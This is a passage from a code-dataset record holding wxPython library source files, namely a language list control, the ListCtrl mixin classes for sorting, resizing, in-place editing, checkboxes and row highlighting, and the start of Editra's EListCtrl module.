flagart.catalog[cnt].getBitmap()\n return flagart.catalog['BLANK'].getBitmap()\n\n\ndef BuildLanguageCountryMapping():\n \"\"\" Builds a mapping of language ids to LANG_COUNTRY codes \"\"\"\n res = {}\n for name in _wxLangIds:\n n = 'wx.'+name\n wn = getattr(wx, name)\n \n li = wx.Locale.GetLanguageInfo(wn)\n if li: \n code = li.CanonicalName\n\n if wn in langIdCountryMap:\n # override, drop country\n if '_' in code:\n code = code.split('_')[0]\n code += '_'+langIdCountryMap[wn]\n\n # map unhandled to blank images\n elif '_' not in code:\n code += '_BLANK'\n \n res[wn] = code\n return res\n\ndef GetWxIdentifierForLanguage(lang):\n \"\"\" Returns the language id as a string \"\"\" \n for n in dir(wx):\n if n.startswith('LANGUAGE_') and getattr(wx, n) == lang:\n return n\n raise Exception, 'Language %s not found'%lang\n\n\n#-------------------------------------------------------------------------------\n\nclass LanguageListCtrl(wx.ListCtrl):\n \"\"\" wx.ListCtrl derived control that displays languages and flags \"\"\"\n def __init__(self, parent, id=wx.ID_ANY, pos=wx.DefaultPosition,\n size=wx.DefaultSize, style=wx.LC_REPORT | wx.LC_NO_HEADER | wx.LC_SINGLE_SEL, \n filter=LC_AVAILABLE, only=(), select=None, name='languagelistctrl'):\n\n wx.ListCtrl.__init__(self, parent, id, pos, size, style, name=name)\n \n self.SetUpFilter(filter, only)\n self.Language = select\n\n def SetUpFilter(self, filter=LC_AVAILABLE, only=()):\n \"\"\" Filters the languages displayed in the control \"\"\"\n lang = self.GetLanguage()\n \n self.filter, self.only = filter, only\n self.icons, self.choices, self.langs = CreateLanguagesResourceLists(filter, only)\n \n self.AssignImageList(self.icons, wx.IMAGE_LIST_SMALL)\n \n self.ClearAll()\n self.InsertColumn(0, '', width=175)\n for i in range(len(self.choices)):\n self.InsertImageStringItem(i, self.choices[i], i)\n \n self.SetLanguage(lang)\n\n def GetLanguage(self):\n \"\"\" Returns the language id for the currently selected language in the control \"\"\"\n idx = self.GetFirstSelected()\n if idx != -1:\n return self.langs[idx]\n else:\n None\n \n def SetLanguage(self, lang):\n \"\"\" Selects the given language ids item in the control \"\"\"\n if lang is not None:\n if lang in self.langs:\n idx = self.langs.index(lang)\n self.Select(idx)\n self.Focus(idx)\n\n Language = property(GetLanguage, SetLanguage, doc=\"See `GetLanguage` and `SetLanguage`\") \n \n#-------------------------------------------------------------------------------\n\n\nif __name__ == '__main__':\n a = wx.PySimpleApp()\n \n print GetLanguageFlag(wx.LANGUAGE_AFRIKAANS)\n \n f=wx.Frame(None, -1)\n f.p=wx.Panel(f, -1)\n s=wx.BoxSizer(wx.VERTICAL)\n f.p.SetSizer(s)\n try:\n f.lc=LanguageChoice(f.p, pos = (220, 10), size = (200, 25))\n s.Add(f.lc, 0, wx.GROW)\n except:\n pass\n f.llc=LanguageListCtrl(f.p, pos = (10, 10), size = (200, 200), \n filter=LC_ONLY, \n only=(wx.LANGUAGE_AFRIKAANS, wx.LANGUAGE_ENGLISH, \n wx.LANGUAGE_FRENCH, wx.LANGUAGE_GERMAN, wx.LANGUAGE_ITALIAN, \n wx.LANGUAGE_PORTUGUESE_BRAZILIAN, wx.LANGUAGE_SPANISH), \n select=wx.LANGUAGE_ENGLISH)\n## filter=LC_ALL)\n s.Add(f.llc, 1, wx.GROW)\n f.Show()\n \n a.MainLoop()\n", "id": "3874778", "language": "Python", "matching_score": 2.2073721885681152, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/langlistctrl.py" }, { "content": "#----------------------------------------------------------------------------\n# Name: wxPython.lib.mixins.listctrl\n# Purpose: Helpful mix-in classes for wxListCtrl\n#\n# Author: <NAME>\n#\n# Created: 15-May-2001\n# RCS-ID: $Id: listctrl.py 63322 2010-01-30 00:59:55Z RD $\n# Copyright: (c) 2001 by Total Control Software\n# Licence: wxWindows license\n#----------------------------------------------------------------------------\n# 12/14/2003 - <NAME> (<EMAIL>)\n#\n# o 2.5 compatability update.\n# o ListCtrlSelectionManagerMix untested.\n#\n# 12/21/2003 - <NAME> (<EMAIL>)\n#\n# o wxColumnSorterMixin -> ColumnSorterMixin \n# o wxListCtrlAutoWidthMixin -> ListCtrlAutoWidthMixin\n# ...\n# 13/10/2004 - <NAME> (<EMAIL>)\n# o wxTextEditMixin: Support Horizontal scrolling when TAB is pressed on long\n# ListCtrls, support for WXK_DOWN, WXK_UP, performance improvements on\n# very long ListCtrls, Support for virtual ListCtrls\n#\n# 15-Oct-2004 - <NAME>\n# o wxTextEditMixin: Added Shift-TAB support\n#\n# 2008-11-19 - raf <<EMAIL>>\n# o ColumnSorterMixin: Added GetSortState()\n#\n\nimport locale\nimport wx\n\n#----------------------------------------------------------------------------\n\nclass ColumnSorterMixin:\n \"\"\"\n A mixin class that handles sorting of a wx.ListCtrl in REPORT mode when\n the column header is clicked on.\n\n There are a few requirments needed in order for this to work genericly:\n\n 1. The combined class must have a GetListCtrl method that\n returns the wx.ListCtrl to be sorted, and the list control\n must exist at the time the wx.ColumnSorterMixin.__init__\n method is called because it uses GetListCtrl.\n\n 2. Items in the list control must have a unique data value set\n with list.SetItemData.\n\n 3. The combined class must have an attribute named itemDataMap\n that is a dictionary mapping the data values to a sequence of\n objects representing the values in each column. These values\n are compared in the column sorter to determine sort order.\n\n Interesting methods to override are GetColumnSorter,\n GetSecondarySortValues, and GetSortImages. See below for details.\n \"\"\"\n\n def __init__(self, numColumns):\n self.SetColumnCount(numColumns)\n list = self.GetListCtrl()\n if not list:\n raise ValueError, \"No wx.ListCtrl available\"\n list.Bind(wx.EVT_LIST_COL_CLICK, self.__OnColClick, list)\n\n\n def SetColumnCount(self, newNumColumns):\n self._colSortFlag = [0] * newNumColumns\n self._col = -1\n\n\n def SortListItems(self, col=-1, ascending=1):\n \"\"\"Sort the list on demand. Can also be used to set the sort column and order.\"\"\"\n oldCol = self._col\n if col != -1:\n self._col = col\n self._colSortFlag[col] = ascending\n self.GetListCtrl().SortItems(self.GetColumnSorter())\n self.__updateImages(oldCol)\n\n\n def GetColumnWidths(self):\n \"\"\"\n Returns a list of column widths. Can be used to help restore the current\n view later.\n \"\"\"\n list = self.GetListCtrl()\n rv = []\n for x in range(len(self._colSortFlag)):\n rv.append(list.GetColumnWidth(x))\n return rv\n\n\n def GetSortImages(self):\n \"\"\"\n Returns a tuple of image list indexesthe indexes in the image list for an image to be put on the column\n header when sorting in descending order.\n \"\"\"\n return (-1, -1) # (decending, ascending) image IDs\n\n\n def GetColumnSorter(self):\n \"\"\"Returns a callable object to be used for comparing column values when sorting.\"\"\"\n return self.__ColumnSorter\n\n\n def GetSecondarySortValues(self, col, key1, key2):\n \"\"\"Returns a tuple of 2 values to use for secondary sort values when the\n items in the selected column match equal. The default just returns the\n item data values.\"\"\"\n return (key1, key2)\n\n\n def __OnColClick(self, evt):\n oldCol = self._col\n self._col = col = evt.GetColumn()\n self._colSortFlag[col] = int(not self._colSortFlag[col])\n self.GetListCtrl().SortItems(self.GetColumnSorter())\n if wx.Platform != \"__WXMAC__\" or wx.SystemOptions.GetOptionInt(\"mac.listctrl.always_use_generic\") == 1:\n self.__updateImages(oldCol)\n evt.Skip()\n self.OnSortOrderChanged()\n \n \n def OnSortOrderChanged(self):\n \"\"\"\n Callback called after sort order has changed (whenever user\n clicked column header).\n \"\"\"\n pass\n\n\n def GetSortState(self):\n \"\"\"\n Return a tuple containing the index of the column that was last sorted\n and the sort direction of that column.\n Usage:\n col, ascending = self.GetSortState()\n # Make changes to list items... then resort\n self.SortListItems(col, ascending)\n \"\"\"\n return (self._col, self._colSortFlag[self._col])\n\n\n def __ColumnSorter(self, key1, key2):\n col = self._col\n ascending = self._colSortFlag[col]\n item1 = self.itemDataMap[key1][col]\n item2 = self.itemDataMap[key2][col]\n\n #--- Internationalization of string sorting with locale module\n if type(item1) == unicode and type(item2) == unicode:\n cmpVal = locale.strcoll(item1, item2)\n elif type(item1) == str or type(item2) == str:\n cmpVal = locale.strcoll(str(item1), str(item2))\n else:\n cmpVal = cmp(item1, item2)\n #---\n\n # If the items are equal then pick something else to make the sort value unique\n if cmpVal == 0:\n cmpVal = apply(cmp, self.GetSecondarySortValues(col, key1, key2))\n\n if ascending:\n return cmpVal\n else:\n return -cmpVal\n\n\n def __updateImages(self, oldCol):\n sortImages = self.GetSortImages()\n if self._col != -1 and sortImages[0] != -1:\n img = sortImages[self._colSortFlag[self._col]]\n list = self.GetListCtrl()\n if oldCol != -1:\n list.ClearColumnImage(oldCol)\n list.SetColumnImage(self._col, img)\n\n\n#----------------------------------------------------------------------------\n#----------------------------------------------------------------------------\n\nclass ListCtrlAutoWidthMixin:\n \"\"\" A mix-in class that automatically resizes the last column to take up\n the remaining width of the wx.ListCtrl.\n\n This causes the wx.ListCtrl to automatically take up the full width of\n the list, without either a horizontal scroll bar (unless absolutely\n necessary) or empty space to the right of the last column.\n\n NOTE: This only works for report-style lists.\n\n WARNING: If you override the EVT_SIZE event in your wx.ListCtrl, make\n sure you call event.Skip() to ensure that the mixin's\n _OnResize method is called.\n\n This mix-in class was written by <NAME> <<EMAIL>>\n \"\"\"\n def __init__(self):\n \"\"\" Standard initialiser.\n \"\"\"\n self._resizeColMinWidth = None\n self._resizeColStyle = \"LAST\"\n self._resizeCol = 0\n self.Bind(wx.EVT_SIZE, self._onResize)\n self.Bind(wx.EVT_LIST_COL_END_DRAG, self._onResize, self)\n\n\n def setResizeColumn(self, col):\n \"\"\"\n Specify which column that should be autosized. Pass either\n 'LAST' or the column number. Default is 'LAST'.\n \"\"\"\n if col == \"LAST\":\n self._resizeColStyle = \"LAST\"\n else:\n self._resizeColStyle = \"COL\"\n self._resizeCol = col\n \n\n def resizeLastColumn(self, minWidth):\n \"\"\" Resize the last column appropriately.\n\n If the list's columns are too wide to fit within the window, we use\n a horizontal scrollbar. Otherwise, we expand the right-most column\n to take up the remaining free space in the list.\n\n This method is called automatically when the wx.ListCtrl is resized;\n you can also call it yourself whenever you want the last column to\n be resized appropriately (eg, when adding, removing or resizing\n columns).\n\n 'minWidth' is the preferred minimum width for the last column.\n \"\"\"\n self.resizeColumn(minWidth)\n\n\n def resizeColumn(self, minWidth):\n self._resizeColMinWidth = minWidth\n self._doResize()\n \n\n # =====================\n # == Private Methods ==\n # =====================\n\n def _onResize(self, event):\n \"\"\" Respond to the wx.ListCtrl being resized.\n\n We automatically resize the last column in the list.\n \"\"\"\n if 'gtk2' in wx.PlatformInfo:\n self._doResize()\n else:\n wx.CallAfter(self._doResize)\n event.Skip()\n\n\n def _doResize(self):\n \"\"\" Resize the last column as appropriate.\n\n If the list's columns are too wide to fit within the window, we use\n a horizontal scrollbar. Otherwise, we expand the right-most column\n to take up the remaining free space in the list.\n\n We remember the current size of the last column, before resizing,\n as the preferred minimum width if we haven't previously been given\n or calculated a minimum width. This ensure that repeated calls to\n _doResize() don't cause the last column to size itself too large.\n \"\"\"\n \n if not self: # avoid a PyDeadObject error\n return\n\n if self.GetSize().height < 32:\n return # avoid an endless update bug when the height is small.\n \n numCols = self.GetColumnCount()\n if numCols == 0: return # Nothing to resize.\n\n if(self._resizeColStyle == \"LAST\"):\n resizeCol = self.GetColumnCount()\n else:\n resizeCol = self._resizeCol\n\n resizeCol = max(1, resizeCol)\n\n if self._resizeColMinWidth == None:\n self._resizeColMinWidth = self.GetColumnWidth(resizeCol - 1)\n\n # We're showing the vertical scrollbar -> allow for scrollbar width\n # NOTE: on GTK, the scrollbar is included in the client size, but on\n # Windows it is not included\n listWidth = self.GetClientSize().width\n if wx.Platform != '__WXMSW__':\n if self.GetItemCount() > self.GetCountPerPage():\n scrollWidth = wx.SystemSettings_GetMetric(wx.SYS_VSCROLL_X)\n listWidth = listWidth - scrollWidth\n\n totColWidth = 0 # Width of all columns except last one.\n for col in range(numCols):\n if col != (resizeCol-1):\n totColWidth = totColWidth + self.GetColumnWidth(col)\n\n resizeColWidth = self.GetColumnWidth(resizeCol - 1)\n\n if totColWidth + self._resizeColMinWidth > listWidth:\n # We haven't got the width to show the last column at its minimum\n # width -> set it to its minimum width and allow the horizontal\n # scrollbar to show.\n self.SetColumnWidth(resizeCol-1, self._resizeColMinWidth)\n return\n\n # Resize the last column to take up the remaining available space.\n\n self.SetColumnWidth(resizeCol-1, listWidth - totColWidth)\n\n\n\n\n#----------------------------------------------------------------------------\n#----------------------------------------------------------------------------\n\nSEL_FOC = wx.LIST_STATE_SELECTED | wx.LIST_STATE_FOCUSED\ndef selectBeforePopup(event):\n \"\"\"Ensures the item the mouse is pointing at is selected before a popup.\n\n Works with both single-select and multi-select lists.\"\"\"\n ctrl = event.GetEventObject()\n if isinstance(ctrl, wx.ListCtrl):\n n, flags = ctrl.HitTest(event.GetPosition())\n if n >= 0:\n if not ctrl.GetItemState(n, wx.LIST_STATE_SELECTED):\n for i in range(ctrl.GetItemCount()):\n ctrl.SetItemState(i, 0, SEL_FOC)\n #for i in getListCtrlSelection(ctrl, SEL_FOC):\n # ctrl.SetItemState(i, 0, SEL_FOC)\n ctrl.SetItemState(n, SEL_FOC, SEL_FOC)\n\n\ndef getListCtrlSelection(listctrl, state=wx.LIST_STATE_SELECTED):\n \"\"\" Returns list of item indexes of given state (selected by defaults) \"\"\"\n res = []\n idx = -1\n while 1:\n idx = listctrl.GetNextItem(idx, wx.LIST_NEXT_ALL, state)\n if idx == -1:\n break\n res.append(idx)\n return res\n\nwxEVT_DOPOPUPMENU = wx.NewEventType()\nEVT_DOPOPUPMENU = wx.PyEventBinder(wxEVT_DOPOPUPMENU, 0)\n\n\nclass ListCtrlSelectionManagerMix:\n \"\"\"Mixin that defines a platform independent selection policy\n\n As selection single and multi-select list return the item index or a\n list of item indexes respectively.\n \"\"\"\n _menu = None\n\n def __init__(self):\n self.Bind(wx.EVT_RIGHT_DOWN, self.OnLCSMRightDown)\n self.Bind(EVT_DOPOPUPMENU, self.OnLCSMDoPopup)\n# self.Connect(-1, -1, self.wxEVT_DOPOPUPMENU, self.OnLCSMDoPopup)\n\n\n def getPopupMenu(self):\n \"\"\" Override to implement dynamic menus (create) \"\"\"\n return self._menu\n\n\n def setPopupMenu(self, menu):\n \"\"\" Must be set for default behaviour \"\"\"\n self._menu = menu\n\n\n def afterPopupMenu(self, menu):\n \"\"\" Override to implement dynamic menus (destroy) \"\"\"\n pass\n\n\n def getSelection(self):\n res = getListCtrlSelection(self)\n if self.GetWindowStyleFlag() & wx.LC_SINGLE_SEL:\n if res:\n return res[0]\n else:\n return -1\n else:\n return res\n\n\n def OnLCSMRightDown(self, event):\n selectBeforePopup(event)\n event.Skip()\n menu = self.getPopupMenu()\n if menu:\n evt = wx.PyEvent()\n evt.SetEventType(wxEVT_DOPOPUPMENU)\n evt.menu = menu\n evt.pos = event.GetPosition()\n wx.PostEvent(self, evt)\n\n\n def OnLCSMDoPopup(self, event):\n self.PopupMenu(event.menu, event.pos)\n self.afterPopupMenu(event.menu)\n\n\n#----------------------------------------------------------------------------\n#----------------------------------------------------------------------------\nfrom bisect import bisect\n\n\nclass TextEditMixin:\n \"\"\" \n A mixin class that enables any text in any column of a\n multi-column listctrl to be edited by clicking on the given row\n and column. You close the text editor by hitting the ENTER key or\n clicking somewhere else on the listctrl. You switch to the next\n column by hiting TAB.\n\n To use the mixin you have to include it in the class definition\n and call the __init__ function::\n\n class TestListCtrl(wx.ListCtrl, TextEditMixin):\n def __init__(self, parent, ID, pos=wx.DefaultPosition,\n size=wx.DefaultSize, style=0):\n wx.ListCtrl.__init__(self, parent, ID, pos, size, style)\n TextEditMixin.__init__(self) \n\n\n Authors: <NAME>, <NAME> (<EMAIL>)\n \"\"\"\n\n editorBgColour = wx.Colour(255,255,175) # Yellow\n editorFgColour = wx.Colour(0,0,0) # black\n \n def __init__(self):\n #editor = wx.TextCtrl(self, -1, pos=(-1,-1), size=(-1,-1),\n # style=wx.TE_PROCESS_ENTER|wx.TE_PROCESS_TAB \\\n # |wx.TE_RICH2)\n\n self.make_editor()\n self.Bind(wx.EVT_TEXT_ENTER, self.CloseEditor)\n self.Bind(wx.EVT_LEFT_DOWN, self.OnLeftDown)\n self.Bind(wx.EVT_LEFT_DCLICK, self.OnLeftDown)\n self.Bind(wx.EVT_LIST_ITEM_SELECTED, self.OnItemSelected, self)\n\n\n def make_editor(self, col_style=wx.LIST_FORMAT_LEFT):\n \n style =wx.TE_PROCESS_ENTER|wx.TE_PROCESS_TAB|wx.TE_RICH2\n style |= {wx.LIST_FORMAT_LEFT: wx.TE_LEFT,\n wx.LIST_FORMAT_RIGHT: wx.TE_RIGHT,\n wx.LIST_FORMAT_CENTRE : wx.TE_CENTRE\n }[col_style]\n \n editor = wx.TextCtrl(self, -1, style=style)\n editor.SetBackgroundColour(self.editorBgColour)\n editor.SetForegroundColour(self.editorFgColour)\n font = self.GetFont()\n editor.SetFont(font)\n\n self.curRow = 0\n self.curCol = 0\n\n editor.Hide()\n if hasattr(self, 'editor'):\n self.editor.Destroy()\n self.editor = editor\n\n self.col_style = col_style\n self.editor.Bind(wx.EVT_CHAR, self.OnChar)\n self.editor.Bind(wx.EVT_KILL_FOCUS, self.CloseEditor)\n \n \n def OnItemSelected(self, evt):\n self.curRow = evt.GetIndex()\n evt.Skip()\n \n\n def OnChar(self, event):\n ''' Catch the TAB, Shift-TAB, cursor DOWN/UP key code\n so we can open the editor at the next column (if any).'''\n\n keycode = event.GetKeyCode()\n if keycode == wx.WXK_TAB and event.ShiftDown():\n self.CloseEditor()\n if self.curCol-1 >= 0:\n self.OpenEditor(self.curCol-1, self.curRow)\n \n elif keycode == wx.WXK_TAB:\n self.CloseEditor()\n if self.curCol+1 < self.GetColumnCount():\n self.OpenEditor(self.curCol+1, self.curRow)\n\n elif keycode == wx.WXK_ESCAPE:\n self.CloseEditor()\n\n elif keycode == wx.WXK_DOWN:\n self.CloseEditor()\n if self.curRow+1 < self.GetItemCount():\n self._SelectIndex(self.curRow+1)\n self.OpenEditor(self.curCol, self.curRow)\n\n elif keycode == wx.WXK_UP:\n self.CloseEditor()\n if self.curRow > 0:\n self._SelectIndex(self.curRow-1)\n self.OpenEditor(self.curCol, self.curRow)\n \n else:\n event.Skip()\n\n \n def OnLeftDown(self, evt=None):\n ''' Examine the click and double\n click events to see if a row has been click on twice. If so,\n determine the current row and columnn and open the editor.'''\n \n if self.editor.IsShown():\n self.CloseEditor()\n \n x,y = evt.GetPosition()\n row,flags = self.HitTest((x,y))\n \n if row != self.curRow: # self.curRow keeps track of the current row\n evt.Skip()\n return\n \n # the following should really be done in the mixin's init but\n # the wx.ListCtrl demo creates the columns after creating the\n # ListCtrl (generally not a good idea) on the other hand,\n # doing this here handles adjustable column widths\n \n self.col_locs = [0]\n loc = 0\n for n in range(self.GetColumnCount()):\n loc = loc + self.GetColumnWidth(n)\n self.col_locs.append(loc)\n\n \n col = bisect(self.col_locs, x+self.GetScrollPos(wx.HORIZONTAL)) - 1\n self.OpenEditor(col, row)\n\n\n def OpenEditor(self, col, row):\n ''' Opens an editor at the current position. '''\n\n # give the derived class a chance to Allow/Veto this edit.\n evt = wx.ListEvent(wx.wxEVT_COMMAND_LIST_BEGIN_LABEL_EDIT, self.GetId())\n evt.m_itemIndex = row\n evt.m_col = col\n item = self.GetItem(row, col)\n evt.m_item.SetId(item.GetId()) \n evt.m_item.SetColumn(item.GetColumn()) \n evt.m_item.SetData(item.GetData()) \n evt.m_item.SetText(item.GetText()) \n ret = self.GetEventHandler().ProcessEvent(evt)\n if ret and not evt.IsAllowed():\n return # user code doesn't allow the edit.\n\n if self.GetColumn(col).m_format != self.col_style:\n self.make_editor(self.GetColumn(col).m_format)\n \n x0 = self.col_locs[col]\n x1 = self.col_locs[col+1] - x0\n\n scrolloffset = self.GetScrollPos(wx.HORIZONTAL)\n\n # scroll forward\n if x0+x1-scrolloffset > self.GetSize()[0]:\n if wx.Platform == \"__WXMSW__\":\n # don't start scrolling unless we really need to\n offset = x0+x1-self.GetSize()[0]-scrolloffset\n # scroll a bit more than what is minimum required\n # so we don't have to scroll everytime the user presses TAB\n # which is very tireing to the eye\n addoffset = self.GetSize()[0]/4\n # but be careful at the end of the list\n if addoffset + scrolloffset < self.GetSize()[0]:\n offset += addoffset\n\n self.ScrollList(offset, 0)\n scrolloffset = self.GetScrollPos(wx.HORIZONTAL)\n else:\n # Since we can not programmatically scroll the ListCtrl\n # close the editor so the user can scroll and open the editor\n # again\n self.editor.SetValue(self.GetItem(row, col).GetText())\n self.curRow = row\n self.curCol = col\n self.CloseEditor()\n return\n\n y0 = self.GetItemRect(row)[1]\n \n editor = self.editor\n editor.SetDimensions(x0-scrolloffset,y0, x1,-1)\n \n editor.SetValue(self.GetItem(row, col).GetText()) \n editor.Show()\n editor.Raise()\n editor.SetSelection(-1,-1)\n editor.SetFocus()\n \n self.curRow = row\n self.curCol = col\n\n \n # FIXME: this function is usually called twice - second time because\n # it is binded to wx.EVT_KILL_FOCUS. Can it be avoided? (MW)\n def CloseEditor(self, evt=None):\n ''' Close the editor and save the new value to the ListCtrl. '''\n if not self.editor.IsShown():\n return\n text = self.editor.GetValue()\n self.editor.Hide()\n self.SetFocus()\n \n # post wxEVT_COMMAND_LIST_END_LABEL_EDIT\n # Event can be vetoed. It doesn't has SetEditCanceled(), what would \n # require passing extra argument to CloseEditor() \n evt = wx.ListEvent(wx.wxEVT_COMMAND_LIST_END_LABEL_EDIT, self.GetId())\n evt.m_itemIndex = self.curRow\n evt.m_col = self.curCol\n item = self.GetItem(self.curRow, self.curCol)\n evt.m_item.SetId(item.GetId()) \n evt.m_item.SetColumn(item.GetColumn()) \n evt.m_item.SetData(item.GetData()) \n evt.m_item.SetText(text) #should be empty string if editor was canceled\n ret = self.GetEventHandler().ProcessEvent(evt)\n if not ret or evt.IsAllowed():\n if self.IsVirtual():\n # replace by whather you use to populate the virtual ListCtrl\n # data source\n self.SetVirtualData(self.curRow, self.curCol, text)\n else:\n self.SetStringItem(self.curRow, self.curCol, text)\n self.RefreshItem(self.curRow)\n\n def _SelectIndex(self, row):\n listlen = self.GetItemCount()\n if row < 0 and not listlen:\n return\n if row > (listlen-1):\n row = listlen -1\n \n self.SetItemState(self.curRow, ~wx.LIST_STATE_SELECTED,\n wx.LIST_STATE_SELECTED)\n self.EnsureVisible(row)\n self.SetItemState(row, wx.LIST_STATE_SELECTED,\n wx.LIST_STATE_SELECTED)\n\n\n\n#----------------------------------------------------------------------------\n#----------------------------------------------------------------------------\n\n\"\"\"\nFILENAME: CheckListCtrlMixin.py\nAUTHOR: <NAME> (<EMAIL> at gmail.com)\nDATE: 2006-02-09\n$Revision: 63322 $\nDESCRIPTION:\n This script provide a mixin for ListCtrl which add a checkbox in the first\n column of each row. It is inspired by limodou's CheckList.py(which can be\n got from his NewEdit) and improved:\n - You can just use InsertStringItem() to insert new items;\n - Once a checkbox is checked/unchecked, the corresponding item is not\n selected;\n - You can use SetItemData() and GetItemData();\n - Interfaces are changed to OnCheckItem(), IsChecked(), CheckItem().\n\n You should not set a imagelist for the ListCtrl once this mixin is used.\n\nHISTORY:\n1.3 - You can check/uncheck a group of sequential items by <Shift-click>:\n First click(or <Shift-Click>) item1 to check/uncheck it, then\n Shift-click item2 to check/uncheck it, and you'll find that all\n items between item1 and item2 are check/unchecked!\n1.2 - Add ToggleItem()\n1.1 - Initial version\n\"\"\"\n\nclass CheckListCtrlMixin:\n \"\"\"\n This is a mixin for ListCtrl which add a checkbox in the first\n column of each row. It is inspired by limodou's CheckList.py(which\n can be got from his NewEdit) and improved:\n \n - You can just use InsertStringItem() to insert new items;\n\n - Once a checkbox is checked/unchecked, the corresponding item\n is not selected;\n\n - You can use SetItemData() and GetItemData();\n\n - Interfaces are changed to OnCheckItem(), IsChecked(),\n CheckItem().\n\n You should not set a imagelist for the ListCtrl once this mixin is used.\n \"\"\"\n def __init__(self, check_image=None, uncheck_image=None, imgsz=(16,16)):\n if check_image is not None:\n imgsz = check_image.GetSize()\n elif uncheck_image is not None:\n imgsz = check_image.GetSize()\n\n self.__imagelist_ = wx.ImageList(*imgsz)\n\n # Create default checkbox images if none were specified\n if check_image is None:\n check_image = self.__CreateBitmap(wx.CONTROL_CHECKED, imgsz)\n\n if uncheck_image is None:\n uncheck_image = self.__CreateBitmap(0, imgsz)\n\n self.uncheck_image = self.__imagelist_.Add(uncheck_image)\n self.check_image = self.__imagelist_.Add(check_image)\n self.SetImageList(self.__imagelist_, wx.IMAGE_LIST_SMALL)\n self.__last_check_ = None\n\n self.Bind(wx.EVT_LEFT_DOWN, self.__OnLeftDown_)\n \n # override the default methods of ListCtrl/ListView\n self.InsertStringItem = self.__InsertStringItem_\n\n def __CreateBitmap(self, flag=0, size=(16, 16)):\n \"\"\"Create a bitmap of the platforms native checkbox. The flag\n is used to determine the checkboxes state (see wx.CONTROL_*)\n\n \"\"\"\n bmp = wx.EmptyBitmap(*size)\n dc = wx.MemoryDC(bmp)\n dc.Clear()\n wx.RendererNative.Get().DrawCheckBox(self, dc,\n (0, 0, size[0], size[1]), flag)\n dc.SelectObject(wx.NullBitmap)\n return bmp\n\n # NOTE: if you use InsertItem, InsertImageItem or InsertImageStringItem,\n # you must set the image yourself.\n def __InsertStringItem_(self, index, label):\n index = self.InsertImageStringItem(index, label, 0)\n return index\n\n def __OnLeftDown_(self, evt):\n (index, flags) = self.HitTest(evt.GetPosition())\n if flags == wx.LIST_HITTEST_ONITEMICON:\n img_idx = self.GetItem(index).GetImage()\n flag_check = img_idx == 0\n begin_index = index\n end_index = index\n if self.__last_check_ is not None \\\n and wx.GetKeyState(wx.WXK_SHIFT):\n last_index, last_flag_check = self.__last_check_\n if last_flag_check == flag_check:\n # XXX what if the previous item is deleted or new items\n # are inserted?\n item_count = self.GetItemCount()\n if last_index < item_count:\n if last_index < index:\n begin_index = last_index\n end_index = index\n elif last_index > index:\n begin_index = index\n end_index = last_index\n else:\n assert False\n while begin_index <= end_index:\n self.CheckItem(begin_index, flag_check)\n begin_index += 1\n self.__last_check_ = (index, flag_check)\n else:\n evt.Skip()\n\n def OnCheckItem(self, index, flag):\n pass\n\n def IsChecked(self, index):\n return self.GetItem(index).GetImage() == 1\n\n def CheckItem(self, index, check = True):\n img_idx = self.GetItem(index).GetImage()\n if img_idx == 0 and check is True:\n self.SetItemImage(index, 1)\n self.OnCheckItem(index, True)\n elif img_idx == 1 and check is False:\n self.SetItemImage(index, 0)\n self.OnCheckItem(index, False)\n\n def ToggleItem(self, index):\n self.CheckItem(index, not self.IsChecked(index))\n\n\n#----------------------------------------------------------------------------\n#----------------------------------------------------------------------------\n\n# Mode Flags\nHIGHLIGHT_ODD = 1 # Highlight the Odd rows\nHIGHLIGHT_EVEN = 2 # Highlight the Even rows\n\nclass ListRowHighlighter:\n \"\"\"Editra Control Library: ListRowHighlighter\n Mixin class that handles automatic background highlighting of alternate\n rows in the a ListCtrl. The background of the rows are highlighted\n automatically as items are added or inserted in the control based on the\n mixins Mode and set Color. By default the Even rows will be highlighted with\n the systems highlight color.\n\n \"\"\"\n def __init__(self, color=None, mode=HIGHLIGHT_EVEN):\n \"\"\"Initialize the highlighter mixin\n @keyword color: Set a custom highlight color (default uses system color)\n @keyword mode: HIGHLIGHT_EVEN (default) or HIGHLIGHT_ODD\n\n \"\"\"\n # Attributes\n self._color = color\n self._defaultb = wx.SystemSettings.GetColour(wx.SYS_COLOUR_LISTBOX)\n self._mode = mode\n\n # Event Handlers\n self.Bind(wx.EVT_LIST_INSERT_ITEM, lambda evt: self.RefreshRows())\n self.Bind(wx.EVT_LIST_DELETE_ITEM, lambda evt: self.RefreshRows())\n\n def RefreshRows(self):\n \"\"\"Re-color all the rows\"\"\"\n for row in xrange(self.GetItemCount()):\n if self._defaultb is None:\n self._defaultb = self.GetItemBackgroundColour(row)\n\n if self._mode & HIGHLIGHT_EVEN:\n dohlight = not row % 2\n else:\n dohlight = row % 2\n\n if dohlight:\n if self._color is None:\n if wx.Platform in ['__WXGTK__', '__WXMSW__']:\n color = wx.SystemSettings_GetColour(wx.SYS_COLOUR_3DLIGHT)\n else:\n color = wx.Colour(237, 243, 254)\n else:\n color = self._color\n else:\n color = self._defaultb\n\n self.SetItemBackgroundColour(row, color)\n\n def SetHighlightColor(self, color):\n \"\"\"Set the color used to highlight the rows. Call L{RefreshRows} after\n this if you wish to update all the rows highlight colors.\n @param color: wx.Color or None to set default\n\n \"\"\"\n self._color = color\n\n def SetHighlightMode(self, mode):\n \"\"\"Set the highlighting mode to either HIGHLIGHT_EVEN or to\n HIGHLIGHT_ODD. Call L{RefreshRows} afterwards to update the list\n state.\n @param mode: HIGHLIGHT_* mode value\n\n \"\"\"\n self._mode = mode\n\n#----------------------------------------------------------------------------\n", "id": "907047", "language": "Python", "matching_score": 5.494301795959473, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/mixins/listctrl.py" }, { "content": "###############################################################################\n# Name: elistctrl.py #\n# Purpose: Base ListCtrl #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2010 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nEditra Control Library: EListCtrl\n\nClass EBaseListCtrl:\nBase Report mode ListCtrl class that highlights alternate rows\n\nClass ECheckListCtrl:\nChild class of L{EBaseListCtrl} that also provides CheckBoxes in the first\ncolumn of the control.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: elistctrl.py 67330 2011-03-29 02:48:06Z CJP $\"\n__revision__ = \"$Revision: 67330 $\"\n\n__all__ = [\"EBaseListCtrl\", \"ECheckListCtrl\", \"EEditListCtrl\", \n \"EToggleEditListCtrl\"]\n\n#--------------------------------------------------------------------------#\n# Dependencies\nimport 